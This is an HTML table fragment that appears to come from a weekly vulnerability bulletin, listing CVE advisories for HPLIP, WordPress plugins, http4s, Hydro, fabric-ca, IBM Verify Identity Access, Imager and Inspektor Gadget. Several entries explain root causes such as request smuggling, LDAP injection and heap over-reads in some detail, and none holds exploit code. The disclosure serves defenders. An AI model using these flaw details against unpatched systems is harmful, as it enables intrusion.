&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89084&quot; target=&quot;_blank&quot;&gt;CVE-2026-89084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91097&quot; target=&quot;_blank&quot;&gt;CVE-2026-91097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91098&quot; target=&quot;_blank&quot;&gt;CVE-2026-91098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91099&quot; target=&quot;_blank&quot;&gt;CVE-2026-91099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91100&quot; target=&quot;_blank&quot;&gt;CVE-2026-91100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91101&quot; target=&quot;_blank&quot;&gt;CVE-2026-91101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91102&quot; target=&quot;_blank&quot;&gt;CVE-2026-91102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91103&quot; target=&quot;_blank&quot;&gt;CVE-2026-91103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91104&quot; target=&quot;_blank&quot;&gt;CVE-2026-91104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91105&quot; target=&quot;_blank&quot;&gt;CVE-2026-91105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc.--HP Linux Imaging and Printing Software (HPLIP)&lt;/td&gt;
&lt;td&gt;HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91106&quot; target=&quot;_blank&quot;&gt;CVE-2026-91106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HT Mega Addons for Elementor--HT Mega Addons for Elementor&lt;/td&gt;
&lt;td&gt;The HT Mega Addons for Elementor WordPress plugin before 3.2.6 does not restrict the HTML tag name used to render the section headline in several of its widgets and blocks to a safe allowlist, allowing users with contributor-level access and above to store a crafted tag name that executes arbitrary JavaScript when the content is viewed, including by higher-privileged users who review or publish it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86788&quot; target=&quot;_blank&quot;&gt;CVE-2026-86788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember HTTP/1.1 does not reject messages containing both Transfer-Encoding and Content-Length, so an intermediary and Ember can select different body framing rules. When ember-server is behind a keep-alive intermediary that forwards both headers and frames by Content-Length, an unauthenticated attacker can smuggle a second request, bypass intermediary access controls, poison caches, or cause a victim request to be joined to an attacker-controlled prefix. The shared response parser can also desynchronize an ember-client connection when a malicious or compromised upstream sends both headers. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69204&quot; target=&quot;_blank&quot;&gt;CVE-2026-69204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hydra Booking Appointment Scheduling &amp;amp; Booking Calenda--Hydra Booking Appointment Scheduling &amp;amp; Booking Calendar&lt;/td&gt;
&lt;td&gt;The Hydra Booking - Appointment Scheduling &amp;amp; Booking Calendar WordPress plugin before 1.2.4 does not perform object-level authorisation checks on several of its host-management operations, allowing users who hold its own administrator-assigned custom role to read, modify and permanently delete other hosts&#039; records and the WordPress user accounts linked to them.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92425&quot; target=&quot;_blank&quot;&gt;CVE-2026-92425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hydra Booking Appointment Scheduling &amp;amp; Booking Calendar--Hydra Booking Appointment Scheduling &amp;amp; Booking Calendar&lt;/td&gt;
&lt;td&gt;The Hydra Booking - Appointment Scheduling &amp;amp; Booking Calendar WordPress plugin before 1.2.2 does not verify that a booking belongs to the requesting user before modifying or deleting it on two of its booking endpoints, allowing a booking-provider-level user to cancel and permanently delete other providers&#039; bookings on the same site.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92420&quot; target=&quot;_blank&quot;&gt;CVE-2026-92420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hydra Booking Appointment Scheduling &amp;amp; Booking Calendar--Hydra Booking Appointment Scheduling &amp;amp; Booking Calendar&lt;/td&gt;
&lt;td&gt;The Hydra Booking - Appointment Scheduling &amp;amp; Booking Calendar WordPress plugin before 1.2.3 does not verify that the host record being modified belongs to the user making the request, allowing authenticated users holding a Hydra Booking - Appointment Scheduling &amp;amp; Booking Calendar WordPress plugin before 1.2.3-assigned host role to modify other hosts&#039; profile data and reassign ownership of another host&#039;s record to themselves.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92421&quot; target=&quot;_blank&quot;&gt;CVE-2026-92421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hydro-dev--Hydro&lt;/td&gt;
&lt;td&gt;Hydro is a next-generation high-performance online judge platform. From 4.10.4 until 5.0.2, the session recreation logic in packages/hydrooj/src/service/layers/base.ts creates a replacement session token without deleting the previous token from the server-side session token store, so an old sid cookie can remain valid after logout or another renewal flow. An attacker who possesses a victim&#039;s previously valid stale cookie can replay it over HTTP or HTTPS without knowing the victim&#039;s username or password and without victim interaction at exploitation time. Successful replay can take over the victim&#039;s account, disclose private data, and permit unauthorized modification or deletion of data available to that account. This issue is fixed in version 5.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55617&quot; target=&quot;_blank&quot;&gt;CVE-2026-55617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hyperledger--fabric-ca&lt;/td&gt;
&lt;td&gt;Fabric CA is a Certificate Authority for Hyperledger Fabric. Prior to 1.5.21, when fabric-ca is configured with an LDAP backend, Client.GetUser in lib/server/ldap/client.go inserts the username from HTTP Basic authentication into the LDAP uid search UserFilter without escaping LDAP metacharacters. An unauthenticated attacker with network access to the CA enrollment endpoint can alter the LDAP search before password validation and potentially steer authentication attempts toward a victim account. Deployments that do not use an LDAP backend are unaffected. This issue is fixed in version 1.5.21.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53658&quot; target=&quot;_blank&quot;&gt;CVE-2026-53658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access containers may not apply management password change operations correctly.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11921&quot; target=&quot;_blank&quot;&gt;CVE-2026-11921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow a remote attacker to cause a denial of service due to insufficient validation of incoming request resources.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11926&quot; target=&quot;_blank&quot;&gt;CVE-2026-11926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Security Verify Identity Access reverse proxy may allow parameters to be injected in requests to third party services.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11927&quot; target=&quot;_blank&quot;&gt;CVE-2026-11927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access is vulnerable to a buffer overflow attack.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11928&quot; target=&quot;_blank&quot;&gt;CVE-2026-11928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Security Verify Identity Access Reverse Proxy in certain configurations may provide weaker than expected cryptographic validation of user supplied data.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11929&quot; target=&quot;_blank&quot;&gt;CVE-2026-11929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow an administrator to execute additional commands they are not entitled to due to improper validation of user supplied input.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11934&quot; target=&quot;_blank&quot;&gt;CVE-2026-11934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow an administrator to execute additional commands they are not entitled to due to improper validation of user supplied requests.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12101&quot; target=&quot;_blank&quot;&gt;CVE-2026-12101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow a remote attacker to cause a denial of service due to insufficient validation of incoming request resources.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12358&quot; target=&quot;_blank&quot;&gt;CVE-2026-12358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow a remote attacker to cause a denial of service due to insufficient validation of incoming request resources.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13260&quot; target=&quot;_blank&quot;&gt;CVE-2026-13260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access is missing origin validation which could allow a remote attacker to perform operations as the victim and potentially launch further attacks against the systems.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13272&quot; target=&quot;_blank&quot;&gt;CVE-2026-13272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access 10.0.0 through 10.0.9.2 Interim Fix 001 and IBM Verify Identity Access Container 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access Container 10.0.0 through 10.0.9.2 Interim Fix 001.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13276&quot; target=&quot;_blank&quot;&gt;CVE-2026-13276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Verify Identity Access&lt;/td&gt;
&lt;td&gt;IBM Verify Identity Access could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By&amp;nbsp;persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability&amp;nbsp;to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted.&amp;nbsp;This could allow the attacker to obtain highly sensitive information or conduct further attacks against&amp;nbsp;the victim.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13277&quot; target=&quot;_blank&quot;&gt;CVE-2026-13277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;iGMS Direct Booking--iGMS Direct Booking&lt;/td&gt;
&lt;td&gt;The iGMS Direct Booking WordPress plugin before 2.0 does not authorise or escape its widget appearance settings, allowing unauthenticated users to store arbitrary web scripts that execute in the context of an administrator viewing the iGMS Direct Booking WordPress plugin before 2.0 settings, and in the browser of any visitor to a page displaying the booking widget.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88825&quot; target=&quot;_blank&quot;&gt;CVE-2026-88825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Imager --Imager&lt;/td&gt;
&lt;td&gt;Imager versions before 1.036 for Perl disclose uninitialised heap memory reading a paletted image with pixel indexes past its colour map in i_gpix_p and i_glin_p. The palette is allocated uninitialised, and only the entries a reader adds count as populated. The TGA reader stores pixel indexes without checking them against the colour map. i_gpix_p() rejects only an index greater than the count, so an index equal to it reads the first unpopulated entry, and getpixel() returns it. i_glin_p() skips any index at or beyond the count without writing that pixel to the caller&#039;s buffer. The palette-to-RGB conversion reads each row through an uninitialised buffer, so those pixels of the converted image hold prior heap contents. Reading an attacker-supplied image through Imager-&amp;gt;read() and then fetching its pixels or converting it to RGB discloses process heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93018&quot; target=&quot;_blank&quot;&gt;CVE-2026-93018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Imager --Imager&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Imager versions from 0.45_02 before 1.035 for Perl read outside the EXIF block via unchecked start offsets in tiff_load_ifd. tiff_load_ifd() validates an IFD entry&#039;s data by checking that `entry-&amp;gt;offset + entry-&amp;gt;size` stays within the EXIF block, and never checks the start offset itself. Where that sum is not the real end of the data, the check passes with the entry starting outside the block. Through 1.032 `entry-&amp;gt;offset` is a plain int, so on the usual two&#039;s-complement implementations an offset with the high bit set converts to negative and the sum can land back inside the block. From 1.033 the field is a size_t and the addition wraps only where size_t is 32 bits. The IFD&#039;s own start offset is checked the same way and wraps where unsigned long is 32 bits, which includes 64-bit Windows. Any caller of Imager-&amp;gt;read() on an attacker-supplied image may receive EXIF tags holding bytes from outside the block, or crash the process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73638&quot; target=&quot;_blank&quot;&gt;CVE-2026-73638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Imager--Imager&lt;/td&gt;
&lt;td&gt;Imager::File::PNG versions from 1.003 before 1.004 for Perl write past the end of the row buffer reading a PNG with a tRNS transparency chunk in read_direct8. With a tRNS chunk, read_direct8() adds an alpha channel to the image it creates but still sizes the row buffer from the original channel count. libpng expands the transparency into that extra channel, so png_read_row() fills one channel more than the buffer holds, at one byte per sample, and writes width bytes past the end of the allocation. Palette images go to read_paletted() and 16-bit images to read_direct16(), which sizes its buffer from png_get_rowbytes() and allocates enough for the expanded row. The same reader ships bundled in the Imager distribution. Reading an attacker-supplied PNG through Imager-&amp;gt;read() corrupts the heap, which can crash the process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73639&quot; target=&quot;_blank&quot;&gt;CVE-2026-73639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Imager--Imager&lt;/td&gt;
&lt;td&gt;Imager versions before 1.036 for Perl exit the process reading a TGA with a colour map length of 32768 or more in tga_palette_read. The reader unpacks the two-byte colour map length into a signed short, so a length of 32768 or more becomes negative. tga_palette_read() casts that value to size_t and asks mymalloc() for a size near SIZE_MAX. The allocation fails and Imager&#039;s allocator calls exit(3). Reading an attacker-supplied file through Imager-&amp;gt;read() triggers an uncatchable exit.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93019&quot; target=&quot;_blank&quot;&gt;CVE-2026-93019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Import and export users and customers--Import and export users and customers&lt;/td&gt;
&lt;td&gt;The Import and export users and customers WordPress plugin before 2.4.5 does not validate a user-supplied URL before requesting it server-side during a CSV import, allowing high-privileged users to perform Server-Side Request Forgery attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16542&quot; target=&quot;_blank&quot;&gt;CVE-2026-16542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Import and export users and customers--Import and export users and customers&lt;/td&gt;
&lt;td&gt;The Import and export users and customers WordPress plugin before 2.5.2 does not correctly enforce the promote_users capability when assigning roles during a CSV import, allowing users with only the create_users capability to create new administrator accounts or promote existing users to administrator.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92540&quot; target=&quot;_blank&quot;&gt;CVE-2026-92540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Import and export users and customers--Import and export users and customers&lt;/td&gt;
&lt;td&gt;The Import and export users and customers WordPress plugin before 2.5.2 does not enforce the promote_users capability in its front-end import functionality, allowing users with only the create_users capability to change the role of existing users, including promoting them to administrator.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92541&quot; target=&quot;_blank&quot;&gt;CVE-2026-92541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inspektor-gadget--inspektor-gadget&lt;/td&gt;
&lt;td&gt;Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.28.0 until 0.53.1, the USDT note parser in pkg/uprobetracer/usdt.go can allow an unprivileged container to crash or exhaust the memory of the privileged Inspektor Gadget process when a custom gadget containing a SEC(&quot;usdt/...&quot;) eBPF section attaches to a crafted ELF binary. The getUsdtInfo() function reads the .note.stapsdt section without validating that DescSize is large enough for three address fields, allowing an out-of-bounds slice operation to panic, and it uses untrusted NameSize and DescSize values for allocations that can consume gigabytes of memory. The parser also invokes debug/elf without panic recovery, allowing other malformed ELF structures to terminate the process. No gadget shipped by Inspektor Gadget uses USDT probes, so only deployments using custom USDT gadgets are affected, and the demonstrated impact is denial of service rather than code execution or privilege escalation. This issue is fixed in version 0.53.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44778&quot; target=&quot;_blank&quot;&gt;CVE-2026-44778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inspektor-gadget--inspektor-gadget&lt;/td&gt;
&lt;td&gt;Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.27.0 until 0.53.1, the uprobe library resolver can allow an unprivileged container to consume excessive CPU and block other containers from starting by supplying a crafted /etc/ld.so.cache file while an uprobe-based gadget is active. The parser in pkg/uprobetracer/ldcache_parser.go trusts EntryCount enough to perform excessive iteration, computes cache1Len with overflowing uint32 arithmetic, and repeatedly calls readStringFromBytes in pkg/uprobetracer/bytes.go, where byte-by-byte immutable string concatenation produces quadratic work. While this processing occurs, pkg/container-hook holds the fanotify container-start pause, allowing a crafted cache to delay startup for roughly a minute, prevent Docker from starting other containers, and degrade monitoring. Processing caches from already-running containers can still consume CPU but does not hold the new-container startup pause, and the advisory establishes no confidentiality or integrity impact. This issue is fixed in version 0.53.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53941&quot; target=&quot;_blank&quot;&gt;CVE-2026-53941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
